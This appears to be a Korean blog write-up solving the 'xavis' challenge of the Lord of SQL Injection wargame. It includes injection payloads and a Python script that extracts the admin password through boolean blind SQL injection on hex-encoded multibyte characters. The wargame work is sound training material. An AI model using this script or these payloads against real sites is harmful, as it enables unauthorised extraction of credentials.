보안 공부/Load of SQL injection

[Load of SQL Injection] xavis

sh1256 2022. 1. 30. 17:39
728x90

1. 필터링

prob _ . () regex like 

regexp: sql에서 정규식을 표현할 때 사용함. 

select id from table1 where pw regexp(1); 
select id from table1 where pw regexp 1;
#pw에 1이 포함된 모든 id를 보여준다.

 

 

 

 

2. Blind SQL Injection 가능 여부 확인 --> 가능함!!

**#는 %23으로 보내주자

거짓

 

 

 

 

3. pw길이 알아내기  --> 12자리

 

 

 

 

4. pw 알아내기

첫번째 자리....아스키코드에 50864가 있던가 ;;; 이게 무슨 일인가 ;;

검색의 힘들 빌려 다른 방법을 알아냈다. 

 

 

5. pw는 multibyte를 사용한다. 

multibyte를 사용하니, pw를 hex로 바꿔서 길이를 다시 구해 봅시다. hex값은 하나에 비트를 사용하기 때문에, 

부등호를 사용사면 python 코드짜는 시간보다 적게 걸립니다아

 

multybte는 한 글자에 여러 바이트를 사용합니다.

1글자가 몇 바이트를 사용하는지 알아내 봅시다.

 

length함수는 1바이트를 1로 나타내니, pw의 1글자는 4 바이트를 사용하군요.

 

 

자 그럼 드디어!!  파이썬을 돌려봅시당

 

import requests
cookies={'PHPSESSID':'쿠키값'}
url ="https://los.rubiya.kr/chall/xavis_04f071ecdadb4296361d2101e4a2c390.php?pw=1%27or%20"
length=24

pw= ""
for i in range(1, length+1):
    
    for j in range(48, 122):#숫자부터 대문자z까지
            
        search_str="(id='admin'and substr(hex(pw),"+str(i)+",1)='"+chr(j)+"')%23"
        #print("search_str: "+search_str)
        response= requests.get(url+search_str, cookies=cookies)
        #print(response.text)
        
        if response.text.find("Hello admin") !=-1:
            pw+=chr(j)
            print("hex(pw): "+pw)
            break

 

hex(pw)=0000C6B00000C6550000AD73

 

0x0000C6B0

--> 이전에 구했던 첫번째 글자의 아스키코드(50864)를 16진법으로 바꾸면 c6b0인 이유가 이거였...

0x0000C655

0x0000AD73

 

인터넷에 널린 아스키코드 변환표를 쓰지 말아야 한다. 

애초에 멀티 바이트문자이기 때문이기도 하고, 

무엇보다 한글이 나오지 않는다... ㅂㄷㅂㄷ

 

+++ 이쯤에서 알아보는 멀티 바이트 정리+++

 

 

 

?pw=우왕굳

성공!